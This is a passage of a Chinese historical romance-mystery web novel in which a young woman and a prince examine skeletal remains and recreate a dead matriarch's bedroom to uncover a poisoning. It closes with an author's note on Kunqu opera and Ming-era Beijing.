青黛绞干帕子,仔细替她擦着胳膊:“奴婢可不是胡说,姑娘之前病了那么久,王爷便是已经破了例,亲自照料着。今日可是直接闯进北狄人的地方,又当着文公子的面…” 她顿了顿,声音更轻了:“这王府里从未有过女眷,王爷都为姑娘破了多少例了。” 周妙雅望着水面上漂浮的花瓣怔怔出神… 他杀巫医时的果决, 护她突围时的沉稳, 一路打横抱回府的霸道, 方才在屏风外仓促离开的脚步… 一幕幕掠过, 心口像被指尖无意拨动的琴弦,余韵久久不散… 青黛取来干净的中衣,扶她出水,伺候她起身更衣。 柔软的布料贴在身上,很是舒服。 青黛帮她系着衣带,忽然想起方才放在小几上的安神汤:“姑娘,王爷送来的安神汤,奴婢去帮您端来?” 周妙雅微微颔首,目光却不自觉地却越过屏风,落在方才他站立的方寸之地,看了良久。 ———— 安神汤的热意顺着喉咙滑下,周妙雅倚在榻上,却无半分睡意。 窗外月色清冷,她脑中纷乱如麻。 她抬手,指尖按上心口,那里仍残留着被他紧抱时的触感。 青黛收拾完浴桶,轻手轻脚地退了出去。 暖阁里静了下来,周妙雅深吸一气,强迫自己收敛了心神,眼下不是沉溺于这些旖旎思绪的时候。 两条线索在脑中渐渐清晰: 其一,济慈堂,那些神智不清的女眷,与文老太太症状虽轻重不同,却都指向同一种东西,北狄秘药逍遥散。王老太医说过,此药少量致幻,中量昏睡,量大则致命,济慈堂的女眷被长期喂药,故而神智受损。 其二,文府,康婧瑶的嫌疑最大,她身为文府长孙媳,最有便利在文老太太药中动手,可她一个 深宅妇人,如何能拿到北狄宫廷秘药?是与北狄有勾结,还是通过别的渠道? 念及此,周妙雅忽然坐直了身子,锦被滑落腰间。 济慈堂后山那些白骨,那些无声死去的女子,她们是否也死于逍遥散?若是能找到证据… 她想起王老太医的话:“此药阴寒,非十日不能凝集于器皿底部,状若白晶。” 人骨,何尝不是另一种器皿? 若那些女子生前长期服用此药,毒素日积月累,是否也会在骨骼上留下痕迹?那些白骨被掩埋多时,若有白晶,应当早已析出。 这个念头让她脊背发凉,她需要亲自去验看那些白骨。 她打定主意,明日一早就去找顾凌云,北镇抚司接管了济慈堂案,那些白骨应当还在他们手中。 只是,要验尸,势必要经过朱弘毅的首肯。 想到他,周妙雅心头便是又一通小鹿乱撞… 今日他种种反常,那句十倍奉还的警告,还有方才在浴室的仓促离去… 她摇了摇头,将这些杂念一并压下。 眼下查明济慈堂案的真相,为文老太太讨回公道才是最重要的。 其余,暂且皆搁后再论… 窗外,更深露重。 第45章 晨光熹微, 穿过书房的冰裂梅花窗棂,在地上投下细碎的光斑。 朱弘毅坐在书案后,手执《资治通鉴》, 目光却定在某一页上, 半晌未挪动半分。 听得门外熟悉的脚步声, 他指尖不觉收紧了一下,纸页微皱。 周妙雅在门外顿了顿,才轻声道:“王爷。” “进。”他放下书卷,声音是一贯的平稳。 门被推开,周妙雅踏晨光而入。 她今日穿了一身素净无尘的月白缎子大衫,发髻梳得一丝不苟,只是目光在与他对上的一瞬, 羽睫微微地垂了下去,耳根泛起一丝极淡的红晕。 朱弘毅看着她这般情态, 自己喉间亦是莫名有些发紧。 昨夜屏风后那抹朦胧的身影, 氤氲的水汽,不受控制地再次浮现在脑海之中。 他下意识移开了目光。 “身子可好些了?”他开口,将声线压得低而缓。 “劳王爷挂心, 已无大碍。” 周妙雅垂首低声应着,指尖在袖中微微蜷了蜷, 旋即又强迫自己抬起头,重新看向他:“王爷, 我今日想去寻顾佥事。” 朱弘毅一听到顾凌云的名字,眉心便不自觉地拧了一下, 声线也沉了半分:“何事?” “为济慈堂的案子。” 周妙雅将昨夜所想清晰道来,从逍遥散的药性,到后山那些无名白骨可能残留的证据, 条分缕析:“若能验看白骨,寻得白晶,便是铁证,此事需北镇抚司行个方便。” 她逻辑缜密,神色认真,全然是为正事而来的模样。 朱弘毅沉默了片刻,他知道她是对的,在案情面前,他承认她所说的正是利刃下的突破口。 然而,一想到她要主动去见那个对她明显另眼相待的顾凌云,心头便像被棉絮堵着,胸口闷着一股说不出来的不痛快。 半晌,他终是开口,只淡淡一字:“可。” 周妙雅微怔,本以为他会反对,见他再无他言,便敛衽一礼:“谢王爷。” 转身款步而退。 书房的门重新合上。 朱弘毅静立片刻,眸色深沉。 “长安。” “属下在。”长安应声而入。 “备车,寻常制式。” 他声音平淡:“去北镇抚司。” 长安一愣,虽心中疑惑,却也不敢多问,立刻领命而去。 不多时,一辆不起眼的马车便悄悄停在北镇抚司衙门外不远处的街角。 朱弘毅坐在车内,车帘掀起一角,目光恰好能望见那森严的大门。 只见周妙雅独自一人站在阶下,片刻后,顾凌云快步而出。 不知周妙雅说了句什么,顾凌云冷峻的脸上竟露出一丝极淡的笑意,侧身引路时,姿态谦和,颇为客气。 两人并肩踏入衙门,衣袂短暂地交叠在了一起。 朱弘毅放下车帘,车内光线骤暗。 他背靠车壁,阖目静坐,面色沉静如水,唯有搭在膝上的手,五指无意识地收拢。 车厢里一片寂静,过了半晌,长安实在憋不住,小声开口道:“王爷…咱们既然来了,为何不一同进去?这外面…也瞧不真切。” 朱弘毅眼也未睁,只淡淡吐出二字:“多事。” 长安缩了缩脖子,不敢再问,心里却嘀咕着:王爷这到底是在盯梢呢,还是在…跟自己较劲呢? ———— 北镇抚司内,光线幽暗。 周妙雅随着顾凌云穿过重重门禁,所过之处,原本或肃立或行走的锦衣卫校尉们,目光皆不由自主地被她吸引。 她一身素净的月白大衫,配着素白的马面裙,在这暗沉肃杀的衙门里,宛如一道清冷的月光骤然倾泻而入。 容颜绝世,气质清雅,与周遭的刑具,公文,以及男人们腰间的绣春刀形成了极其鲜明的对比。 北镇抚司的回廊下,值房里,压抑的骚动如石子入水般,一圈圈地荡开涟漪。 有人下意识地屏住了呼吸,有人交换着惊诧的眼神,窃窃私语声低不可闻,却绵延不绝。 “那是谁家的女眷?” “顾佥事竟亲自引路…” “嘶…这模样…这身段…说是月宫仙子不为过吧…” 两名身着飞鱼服的小旗靠在廊柱旁,眼睛直勾勾地盯着周妙雅远去的背影。 年轻些的小旗咂了咂嘴:“乖乖顾佥事这是开窍了?上次兵部尚书大人做媒,他可是当场把人家姑娘的庚帖扔进火盆里了。” 年长的小旗眯着眼,声音压得极低:“你懂什么?这样的绝色,换作是我别说引路,便是刀山火海我也愿意亲自背她过去。” 话未说完,顾凌云突然回头一瞥,那眼神似锋利的刀锋,惊得两人立即挺直腰板,再不敢多言。 顾凌云眉头微蹙,侧身半步,不着痕迹地将周妙雅与那些探究的视线隔开,低声道:“衙门重地,鲜见女客,惊扰了周女官,勿怪。” 周妙雅面色平静,只微微颔首:“无妨,正事要紧。” 她的目光并未在那些打量她的人身上停留,而是径直望向长廊深处,那存放着白骨的敛房。 敛房的门吱呀一声被打开,阴冷的气息扑面而来,周妙雅半步未停,素白的裙摆扫过积着薄灰的门槛。 顾凌云抬手拦住了要跟进来的狱卒:“都在外头候着。” 门被轻轻合上,隔绝了所有窥探的视线,昏暗的敛房里,只余两道身影站在数具盖着白布的尸骨前。 周妙雅走到第一具骸骨前,将素白的手套戴上,轻轻掀开了白布。 森森白骨暴露在昏暗的光线下,她眼神沉静,没有半分畏缩。 顾凌云负手立在一旁,看着她俯身低眉,极其仔细地检查着,连最细的骨缝也不放过,那份专注与镇定,全然不似深闺女子,倒像是经验老道的仵作。 他冷峻的眼底悄然掠过一丝微动,转瞬即逝。 时间静静流淌。 忽然,周妙雅的动作停住了,她凑近那骸骨的缝隙,凝神细看。 “顾大人,请掌灯近些。” 顾凌云立即提起一旁的明角灯,俯身靠近。 昏黄的灯光下,只见那骨骼缝隙与凹陷处,果然覆着极其细微的晶莹颗粒,在光下泛着微弱的光泽。 “这里也有。”周妙雅又指向几处关节。 两人依次查验其余几具白骨,竟都在骨骼缝隙间发现了或多或少的同类白晶。 周妙雅直起身,眸色澄明:“顾大人,可否请仵作取一壶最烈的烧刀子来?” 顾凌 云虽不明所以,却立即命人取来。 周妙雅小心地用银簪刮取少许白晶,置于干净的白瓷碟中,她回忆着王老太医的手法,将烈酒缓缓滴落。 一滴,两滴… 就在酒液触及白晶的刹那,碟中竟真的腾起一缕淡蓝色的雾气,几乎融于烛光,转瞬即散。 顾凌云眼神一凛。 周妙雅声线发颤,眼底却燃雪亮:“和装文老太太药渣的陶罐底,还有从北狄大巫医处带回来的黑陶碗中的白晶一模一样!” 证据,铁证,就摆在眼前。 这遍布衙门的白骨,济慈堂这些无数无声消逝的女子,都与文老太太一样,死于同一种来自北狄的阴毒之物——逍遥散! ———— 敛房外,几个锦衣卫还在低声议论着方才惊鸿一瞥的美人儿,言语间不乏倾慕之情。 忽见一道玄色身影疾步踏入衙门,周身气压低沉。 有眼尖的千户认出是宁王殿下,忙不迭地迎上前,堆起笑脸:“王爷!今日是哪阵风把您吹到咱们这衙门来了?” 朱弘毅眉头紧锁,目光似寒刃般扫过四周,对周遭那些未散的窃窃私语充耳不闻,只沉声问道:“顾凌云何在?” 那千户被他周身散发的寒意慑住,忙不迭伸手指路:“顾佥事在,在敛房” 话音未落,朱弘毅已大步流星朝着敛房方向走去。 廊下,几个锦衣卫凑在一起仍低声议论着,目光还不住往敛房方向瞟。 一个满脸络腮胡的总旗咂着嘴:“乖乖,老子在北镇抚司混了十几年,头一回瞅见这般天仙!那身段,那气质一眼扫过来,老子刀差点掉地上。” 旁边的小校尉挤眉弄眼,压低嗓音却掩不住兴奋:“嘿!那可是眼高于顶的国舅爷,冷面阎罗顾大人啊!他竟亲自领路,还侧身护着,生怕咱们这些粗人冲撞了仙子,你们谁见过顾佥事这般怜香惜玉!” 另一个瘦高个的百户摸着下巴咂舌道:“说来也是奇了,顾佥事当年可是连兵部尚书家的庚帖都敢扔进火盆,如今可倒好,竟巴巴地把姑娘领进衙门,这冰疙瘩竟也有融化的时候?” 络腮胡总旗压低嗓音:“不过这姑娘也真是特别…进了敛房面不改色,方才我偷瞄了一眼,她正俯身验看白骨呢,这等胆色,寻常男子都比不上。” 年轻校尉挤眼偷笑:“要我说,这才貌双全的冰雪佳人,配咱们冷面阎罗,恰是阎王娶观音,天生一对!” 几人正嘻笑到兴头上,忽闻一声低喝:“闭嘴,宁王来了!” 笑声顿时戛然而止,廊下立马鸦雀无声,几人齐齐低下头,大气儿也不敢出。 只见朱弘毅面色沉冷,疾步而来,那双深邃的眸子扫过时,带着刺骨的寒意,那几个方才笑得最起劲儿的,此刻只觉脊背生风,齐齐打了个冷颤。 他行至敛房门前,顿住脚步,听见里面隐约传来的交谈声,竟夹着一声极轻的笑语。 他指节微微收紧,在门口停了一瞬,终是抬手推门。 “咳。” 敛房内的谈笑声戛然而止。 周妙雅与顾凌云并肩立于骸骨前,脸上还带着方才发现关键证据时的振奋,她闻声回首,见是朱弘毅,忙敛衽行礼:“王爷。” 顾凌云亦收起笑意,拱手道:“王爷。” 朱弘毅的目光掠过顾凌云,落在周妙雅身上时,已化作一片温沉。 他上前一步,不着痕迹地隔在两人之间,声音放柔:“可发现什么了?” 周妙雅并未察觉这微妙的气氛,只将方才所得娓娓道明,声音中带着如释重负的轻快:“王爷,三种白晶遇烈酒的反应分毫不差,可以断定是同一来源。” 她仰起脸看着他,眼眸因激动而格外明亮。 朱弘毅凝视着她眼中的光彩,心中的醋意忽然就散了。 他抬手,自然而亲昵地将那缕滑落的发丝别至她耳后,温声道:“辛苦了。” 几个千户们恰好赶到,撞见了这一幕,彼此交换着心照不宣的眼神。 先前嚼舌根说顾佥事铁树开花的,此刻全噤了声,有人小声嘀咕道:“看来咱们顾佥事,是没指望喽” 第46章 从北镇抚司衙门出来, 天色不知何时已变得灰蒙蒙的,细碎的雪花悄无声息地飘落。 朱弘毅很自然地握住周妙雅的手,掌心覆上去, 触感微凉。 “冷吗?”他低声问, 声音比平日软了几分。 周妙雅摇了摇头, 眼底还残留着方才发现铁证的清亮神采。 朱弘毅却已回头吩咐:“长安,取我的大氅来。” 长安利落地从马车上捧来一件玄色狐裘大氅,朱弘毅接过,亲手为她披在肩头,仔细系好颈前的带子。 狐裘厚重,带着他身上的温度与清冽气息,瞬间将她裹紧。 周妙雅仰头望着纷扬的雪花, 心情是许久未有的松快,她侧首看着他, 忽莞尔道:“王爷, 线索既已明晰,我心亦随之澄澈,瞧这天公作美, 落了雪,不如…我们去海子边走走?” 朱弘毅看着她亮晶晶的眸子, 唇角不自觉地上扬,点头道:“好。” 两人弃车步行, 命长安驱车在后面缓缓跟着。 并肩踏着初落的薄雪,二人朝不远处的积水潭走去。 湖面早已冻得结实, 光滑如镜,映着灰白色的天光。 不少百姓正在冰上嬉戏,欢笑声隔得老远便能听见。 其中最惹眼、最受欢迎的一种游戏叫冰拖床, 人坐在小小的木架上,手持铁钎在冰上一撑,哧溜一声便能滑出去老远。 周妙雅驻足倚栏望去,眼中流露出孩童般的好奇,她从小生活在苏州,苏州鲜少下雪,即便是下,也只能看到假山残雪,此刻才是真实的冰雪天地。 朱弘毅察觉了,低声问:“想试试?” 周妙雅有些不好意思,却还是点了点头。 周边有百姓以租赁冰拖床为生,很快,长安便租来了一架。 朱弘毅先扶着她小心翼翼地在木架上坐稳,自己则立在她身后,接过铁钎。 “坐稳了。”他沉声道,铁钎在冰面上用力一撑。 拖床瞬间滑出,冷风夹杂着雪沫迎面扑来,周妙雅轻呼一声,身子下意识地随惯性向后仰去,脊背撞上了他坚实的小腿。 冰面光滑,拖床飞驰,枯柳与雪影飞速向后掠去。 她起初还有些紧张,下意识地攥紧了身下的木板,渐渐地,她便放松了下来,因在风驰电掣中体会到了前所未有的快感,唇角也不自觉地高高扬起。 朱弘毅垂眸,只见她鼻尖冻得微红,唇角那抹笑意确是清浅又真实。 他手下不停,铁钎点,撑,划,操控着拖床在冰面上灵巧地穿梭,带着她绕开其他嬉戏的人。 一圈,又一圈。 周妙雅忍不住笑了起来,笑声清脆,散在凛冽的寒风里。 她许久未曾这样开怀了。 拖床又滑出了数十丈,朱弘毅才收钎减速,任木架缓缓停住。 周妙雅气息微喘,脸颊泛着红晕,眼底水光润泽,全是未尽的笑意。 朱弘毅握着她手臂,扶她起身,两人站在空旷的冰面中央,任凭雪花静静落在肩头,发上。 雪光映着她明媚的笑颜,他深深望着,忽然想起幼时在深宫中的冬日。 母妃早逝,李选侍奉旨照看兄弟二人,每年数九寒冬,皇兄总会拽上他,带着几个小太监在太液池上滑冰拖床。 那时皇兄总是护在他身前,就像此刻他护着周妙雅一般。 往昔与当下在雪光中重叠,他的心被轻轻触动着,柔软而微疼。 “开心吗?”他嗓音低柔,含着连自己都未察觉的宠溺。 周妙雅重重地点了点头,仰脸看他:“嗯!” 狐裘厚重,却不及他此刻的目光温暖。 两人玩得尽了兴,离了冰面,朱弘毅对侍立在一旁候着的长安道:“今日不回府用膳了。” 长安会意,立即前去 安排。 不多时,两人便坐在了距海子不远的一处酒楼雅间里。 雅间临街,支开半扇窗,还能望见外面飘扬的雪花。 方才在冰上玩的时候还不觉得,此刻静坐下来,周妙雅才感到双手冻得有些发麻,指尖泛红。 朱弘毅很自然地伸手,将她一双微凉的手拢在自己掌心。 他的手掌宽大温热,暖意缓缓透了过来。 周妙雅耳根一热,下意识地想要抽回,却被他更温柔地收拢。 “别动。”他声音不高:“暖暖。” 她便不再动,任由他握着,只觉得那暖意不仅暖了手,更一路蜿蜒,熨帖到了心里。 她微微低下头,目光落在两人交叠的手上,耳根悄然染上一片绯红。 恰在此刻,隔壁隐隐传来丝竹声,只听见一个清丽婉转的女声唱着: “原来姹紫嫣红开遍,似这般都付与断井颓垣。良辰美景奈何天,赏心乐事谁家院…” 是《牡丹亭游园》中的《皂罗袍》一段。 唱词凄婉缠绵,字字含情,诉说着杜丽娘被深墙所困,不见春色的幽怨与情思。 周妙雅静静地听着,不由得有些出神。 曾几何时,她的天地,也不过是文府那一方窄院,抬头便是断井颓垣,哪曾见得姹紫嫣红。 朱弘毅循着她的目光望向窗外雪景,复又收回,落在她低垂的眉眼上:“在想什么?” 周妙雅轻轻摇头,没有答话,只是反手,轻轻回握了一下他温热的手掌。 一切尽在不言之中。 窗外是凛冬飞雪,窗内却是掌心相贴,暖意暗生。 那《皂罗袍》的唱腔依旧袅袅传来,水磨调的唱词中哀婉忧思。 跑堂的端着热气腾腾的菜肴进来,见状忙低下头,手脚麻利地布好菜,又悄无声息地退了出去。 朱弘毅这才松开手,将筷子递到她手中:“吃饭吧。” 周妙雅依言执起筷子,目光却仍不由自主地循着那婉转的唱腔飘去。 这吴侬软语、水磨腔调,每一个音节都敲在她心坎上,勾起熟悉的家乡记忆。 朱弘毅将她眉眼间那抹浓浓的乡愁尽收眼底,缓声道:“这昆山腔,原就是你家乡的乡音,你若喜欢,改日本王让府里备下,请一班苏州来的家班进府,专为你唱几出。” 周妙雅倏然回神,她知晓他素来不喜丝竹喧闹,这份体贴让她心头一暖。 她轻轻摇头,唇角含笑:“王爷喜静,不必为我破例,这水磨昆山腔生自姑苏画舫,长在虎丘千人石,唯有这市井烟火里,才留得真味。” 说罢,她顿了顿,眸光流转,含着几分通透的唏嘘:“何况,《牡丹亭》再好,讲的终是深闺一梦,民女从前在文家,也如杜丽娘一般,被困在方寸天地,只能对着画中山水寄托情怀,如今…” 她抬眼望进他深邃的眸中,声音轻柔却坚定:“如今既已见得真山真水,又何须再向戏文寻那镜花水月?” 话音落下,她便垂下眼,专注地用起膳来。 朱弘毅心中动容,执筷的手微微顿了顿。 他没有再说什么,只默默将一碟她偏好的清淡菜式,换到了她的手边。 ———— 回到宁王府时,雪已积了薄薄一层。 周妙雅径直去了白芷休养的厢房。 屋内炭火烧得暖融,药香袅袅。 青黛刚伺候白芷用过药,见她进来,忙迎上前低声道:“姑娘,白芷姐姐今日精神头不错,晌午还用了半碗鸡丝粥。” 周妙雅点头,走到床榻边。 白芷靠坐在引枕上,眼神虽仍有些涣散,但已不似从前那般惊惶空洞,她身上穿着干净的棉袍,头发也梳得整齐。 见到周妙雅,白芷嘴唇动了动,含糊地唤了声:“小…小姐…” 周妙雅在榻边坐下,握住她微凉的手,柔声道:“是我,今日觉得怎么样?” 白芷怔怔地看着她,忽然反手紧紧抓住她的衣袖,呼吸也急促起来,眼底惊惧之色翻涌。 她费力地吐出几个破碎的音节:“康…康…婧瑶…” 周妙雅心头一紧,面上却不动声色,只轻轻拍着她的手背安抚道:“别怕,这里很安全。” 白芷像是没听见,自顾自地沉浸在自己的世界里,她嘴唇哆嗦着,断断续续地念叨:“文老夫人…药…药…” 青黛在一旁倒吸一口凉气,紧张地看向周妙雅。 周妙雅眼神沉静,继续温声引导:“白芷,你说文老夫人怎么了?药怎么了?” 白芷却突然抱住头,浑身发抖,像是想起了极可怕的事,嘴里反复念着:“苦…药苦…老夫人…喝…” 周妙雅将她轻轻揽住,感觉到怀中的身躯在不停地颤抖,她不再追问,只是静静地抱着她,直到白芷渐渐平静下来,伏在她肩头低声啜泣。 “好了,都过去了。”周妙雅轻声安抚,一下下抚着她的背。 待白芷情绪稳定后睡下,周妙雅替她掖好被角,这才起身走到外间。 青黛跟出来,压低声音道:“姑娘,白芷姐姐这几日都是这样,时不时就会提起康夫人的名字和文老夫人的药…” 周妙雅站在窗前,望着窗外纷飞的雪花,脑海中闪过文老太太药罐底的白晶,白芷破碎的呓语… 所有的线索,此刻都清晰地指向了一个人—— 康婧瑶… 首辅之女,文家嫡媳,身份尊贵… 若要对簿公堂,必须人证,物证俱全,形成无可辩驳的铁链,方能一击即中,让她无从抵赖。 如果白芷能再多想起什么,哪怕只是一点点,她需要知道,文老太太死之前,到底发生了什么。 白芷如今的状态,强行逼问只会让她更加恐惧,再次封闭内心,她需要的是一个安全,熟悉,能让她放松下来的环境,或许还要加上一些能触动记忆的引子。 安全…熟悉…引子… 这几个词在她脑海中反复盘旋。 若能还原文老太太生前卧室的布局… 可想到这里,她便想起了文毓瑾与康靖瑶大婚那日夜里,文毓瑾披着大红色的喜服,借着酒意,悄无声息地潜入文老太太卧室的外间,想要强占她的画面。 那画面令人作呕… 周妙雅猛地闭上眼,深吸了几口冰冷的空气,强迫自己定住心神。 她必须将文毓瑾带来的阴影,从那个空间的记忆里剥离出去。 她重新睁开眼,眸中已是一片清冽的坚定,她转向青黛,声音平稳了许多,语气果断:“青黛,我需要你帮我布置一间屋子。”—— 作者有话说:热烈欢迎本文常驻配角——昆曲首次登场。昆曲就是明代晚期的流行歌曲,所以本文后面会经常出现昆曲。 《牡丹亭 皂罗袍 好姐姐》我最喜欢龚隐雷老师唱的版本,最喜欢江苏省昆,每年的春风上巳天我都会去看。 海子就是北京城内的水系,明代北京所称的海子并非一处,而是对城内、南郊几大片水域的通俗称法,大体可分北海子与南海子两组。为什么叫海子?是因为元代蒙古人在北京城建大都,把比较大湖泊都叫海子或海子淖尔,所以明代沿用了这种叫法。北海子指的就是积水潭-什刹海,南海子就是城南二十里的皇家苑囿。特意考证了一下明代北镇抚司的位置,离积水潭就走路五分钟的路程,所以就让小朱小周步行过去了[撒花] 冰拖床就是我们北方人现在玩的滑冰车,在明代的时候叫冰拖床。积水潭、什刹海、护城河等处,贫民拉拖床以糊口,乘客艳素杂遝,交拉如织。 第47章 接下来的两日, 周妙雅都待在暖阁里,对着铺开的宣纸,一笔一笔地勾勒。 她闭目凝神, 文老太太那间卧室里的每一个细节都清晰地浮现在眼前。 她最先落笔的是北壁正中的紫檀木拔步床, 装饰着喜鹊登梅的雕花, 床角处有一块因年久磨损形成的凹陷。 床往南两 步处立的是一扇六曲围屏,上面绘着淡雅的墨竹,屏心留白,恰好掩住床帐一半,既挡风又隔绝了外面的视线。 屏前东侧置有一张花梨木棋桌,桌面新漆未旧,文老太太素爱背窗面西而坐, 对着残局沉思。 就连墙角熏笼上铜环的样式,周妙雅都记得分明。 她运笔极稳, 线条流畅, 不仅画出了家具的形制,摆放的方位,连帐幔的垂坠感, 槅子架上诸多摆件的位置,都一一标注清楚, 没有丝毫遗漏。 青黛在一旁伺候笔墨,看得暗暗咋舌, 她原以为姑娘只是勾画个大概,没想到竟细致到如此地步, 连煎药的小耳房里,药铫子与炉火的相对位置,窗台上晾晒药材的小竹筛, 都一笔不落地画了出来。 “姑娘记得可真清楚。”青黛忍不住叹道。 周妙雅笔下未歇,睫羽低垂,掩住了眼底的波澜。 她如何能不清楚?那方寸天地是文老太太给予她仅有的庇护所,每一处细节,都早已刻入骨子里。 忽而,只听得门帘轻响,将她的思绪拉回到现实… 朱弘毅走了进来。 她抬头循声望去,见他的目光落在了铺满桌案的画稿上,便放下笔,起身微微福了一礼。 朱弘毅走近,指尖拂过纸上精细的线条,问道:“在画什么?” 周妙雅如实回答:“王爷,我想仿照文老太太生前卧室的布局,另辟一间静室,白芷对那里最为熟悉,我想…让她进去看看。” 至此,她顿了顿,声音更低了些,却字字清晰:“她如今神智渐清,却卡在关键处,强逼无用,我只能赌一把,用她最熟悉的环境,看能否撬开一线缝隙,让她想起老太太临终前…究竟发生了什么。” 她抬起眼,坦然地迎上了他审视的目光:“我知道此举有些冒险,或许会刺激到她,但康婧瑶身份特殊,若无铁证,难以撼动。白芷是眼下最可能知情的人证,我…想搏一搏。” 朱弘毅静静听着,面上无波,看不出喜怒。他垂目扫过那些细致入微的图纸,连药铫子摆放的角度都分毫不差。 “需要本王做什么?”他最终开口,语气平静。 周妙雅微怔,没想到他竟应得这般干脆:“只需王爷点头,另外…” 她迟疑了一瞬,复又说道:“若情形不对,白芷受不住刺激,还请王爷…务必护住她。” 她最怕的是弄巧成拙,反而毁了白芷。 朱弘毅颔首,目光在她倔强的脸上停留了片刻:“可以,何时开始?” “图纸画完,便让青黛去布置,宜早不宜迟。”周妙雅答道。 他没再说什么,只抬手,用指腹轻轻拭去她颊边不慎沾染的一点墨痕,动作自然:“画完了,便早些歇息。” 说罢,他便转身离开了。 周妙雅望着他离去的背影,抚上脸颊他方才碰过的地方,心头那点浮动的不安竟奇迹般地沉了下去。 她重新执起笔,更加专注地投入到眼前的画稿之中。 ———— 图纸交到青黛手中不过两三日,西厢那处僻静的院落便已换了天地。 青黛领着几个得力的婆子,依照图样,将采买来的家具陈设一一归位:紫檀木的拔步床,花梨木棋桌,素色锦帐…甚至连槅子架上玉器摆件的倾斜角度,都照周妙雅所绘分毫不差。 周妙雅踏进房门时,脚步不由一顿。 屋内的气息混杂着新木与旧锦的味道,角落的药炉上煨着药,熟悉的苦涩气弥漫开来。 目光所及,竟与记忆中文老太太的卧房一般无二。 青黛垂手侍立于一旁,悄声回话:“姑娘,都按您的吩咐置办齐了,帐幔是特寻的雨过天青色,熏香以陈年檀香调和,气味醇厚安神。” 周妙雅缓缓走过拔步床前,指尖轻抚过冰凉的雕花,目光最后落在那张空荡荡的棋桌上。 她微微颔首:“甚好,劳你费心了。” 白芷近日来按时服药,眼神已清明了不少,说话也连贯了许多。 周妙雅见时机成熟,便请了朱弘毅过来坐镇,又让青黛小心扶着白芷,缓步行至那间精心布置的厢房。 推开房门,白芷脚步顿在门槛外,怔怔地望着屋内陈设。 只一瞬,她眼底骤然迸发出光彩,仿佛倦鸟归林。 她快步走进,口中喃喃道:“回来了…回来了…” 她竟不用人指引,径直走向角落里的药炉,熟练地掀盖,扇火,试温。 她一边忙碌,一边絮絮叨叨:“小姐快回来了,药得趁热…老太太夜里睡不安稳,得守着…” 周妙雅与朱弘毅交换了一个眼神,屏息立在门边,不敢惊扰分毫。 白芷正拿着蒲扇对着药炉轻轻扇火,药铫子里咕嘟咕嘟冒着热气。 忽然间,只见她手一抖,像被针扎了一般丢开蒲扇,踉跄着躲到一旁的屏风后头。 她缩着身子,眼睛死死盯着那炉火,嘴唇哆嗦着:“李嬷嬷…康娘子吩咐了…不、不让我碰老太太的药…” 她把自己往阴影里藏了藏,声音带着哭腔:“我不敢了…再也不敢碰了…” 周妙雅见状,正欲上前追问,却被朱弘毅拦了下来,他冲她微微摇了摇头,示意她暂勿惊扰白芷。 白芷拼命把自己往屏风后面缩,哭声越来越急:“奴婢不敢了再不敢碰了” 突然间,她浑身剧颤,双手死死抓住屏风边缘,她瞪向药铫子的眼神如见恶鬼,凄厉的尖叫声划破整个西厢房: “血,是血!她们抓着春桃的手,就在药炉前,刀口那么长!” 她胡乱比划着自己的手掌,眼泪汹涌而出:“春桃的血,哗啦啦地往药铫子里落她疼得直抖,却不敢哭出声李嬷嬷死死捂住她的嘴” 话至一半,白芷猛地抱住头,整个人蜷成一团:“康娘子就在旁边看着笑着说说这样才够力道” 周妙雅猛地转头看向朱弘毅,脸色煞白。 北狄巫医阴冷的声音仿佛又在耳边响起:“此药需以少女心头血为引” 她终于明白那日巫医为何执着于取她的血,原来这逍遥散的秘方,竟真要用少女的血做药引。 “王爷,”她声音发颤:“那巫医” 朱弘毅眸色骤寒,立即抬手止住她的话头。 他目光掠过蜷缩在屏风后瑟瑟发抖的白芷,侧首向长安递了个眼色。 长安会意,悄无声息地退至门外,反手将院门掩紧。 朱弘毅这才沉声道:“北狄邪术。” 四个字,冰冷刺骨。 周妙雅扶住墙边勉强站稳,指尖死死掐住窗棂,确仍压不下胸口翻江倒海的寒意。 所以春桃是被取血炼药?所以文老太太每日服用的汤药里竟都掺着无辜少女的鲜血? 念及此处,她胃中骤然猛烈翻涌,酸水直冲喉咙,几乎当场呕出。 朱弘毅见她身形摇晃,立即上前扶住她手臂,掌心稳稳托住了她。 他朝青黛递去一个眼神,青黛会意,快步走到屏风旁,俯身低语,轻抚白芷后背,柔声安抚。 “先回去。”朱弘毅低声道,半扶半揽带周妙雅离开了厢房。 回到暖阁,他扶她在榻边坐下,又倒了杯温茶递到她手中。 周妙雅捧着茶杯,指尖仍在发颤,她抬头看他,眼底盈满惊悸:“王爷,康婧瑶她竟用活人鲜血入药?” 朱弘毅神色冷峻:“北狄邪术,向来如此,以血为引,增强药性,只是没想到” 他未尽之言,两人都明白。 没想到康婧瑶竟敢在天子脚下,在百年文脉清贵世家的文府,行此等丧心病狂,伤天害理之事。 周妙雅稳了稳心神,将茶盏放回案上,声音已恢复平静:“如此看来,我们已摸到了最关键的那条线索。” 她抬眼看向朱弘毅:“若能找到春桃,亲眼验证她手掌上的刀疤,或是说服她出面作证” 朱弘毅沉吟片刻,眸色微冷:“康婧瑶既行此阴私之事,必定将知情人牢牢掌控,那春桃若还活着,只怕也 被看得极紧。” 周妙雅目光坚定:“总要一试,白芷既指认了春桃,这便是最直接的突破口,只是” 她微微蹙眉:“要如何找到春桃,又不打草惊蛇?” 朱弘毅语气笃定:“让长安去查,文府下人皆有册录,一个丫鬟的去向,总会有迹可循。” 长安办事利落,不出三日便来回话: “王爷,姑娘,那春桃还活着,如今仍在文府内院做些杂役,只是…她娘如今被单独供养在康家在京郊的别院里,说是养病,实为软禁,春桃每月只能见一次,且必有康娘子的心腹在场。” 朱弘毅与周妙雅对视一眼,以亲娘为质,这确是最让人无法反抗的拿捏。 长安继续禀报着:“王爷,姑娘,至于那刀疤,属下已经拜托陈嫂子去查明了。” 朱弘毅示意他叫陈嫂子过来。 陈嫂子被唤进来,忙福身回话:“王爷,姑娘,老奴方才从东市回来,已经见着春桃了,借着帮她挑拣香橼的工夫,瞧见她左手心,从虎口到腕子,果然有道寸长的疤,颜色发暗,像是利刃所伤。” 听到这里,周妙雅的指尖不觉微微一颤。 人证,找到了。 第48章 可如何能让一个被挟持了至亲的人, 甘愿冒险作证? 周妙雅凝视着杯中晃动的茶汤,忽然抬眸:“若是我们此刻去救她的母亲,必定会打草惊蛇。” 朱弘毅会意:“你有别的打算?” 周妙雅声音轻却沉稳冷静:“不如…让春桃死。” 见朱弘毅眸光微动, 她继续道:“康婧瑶既已取血, 留着春桃便是隐患, 若她意外身亡,康婧瑶只会觉得除去后患,反而会放松警惕,届时我们再暗中救出她娘,春桃便再无顾忌,可安心作证。” 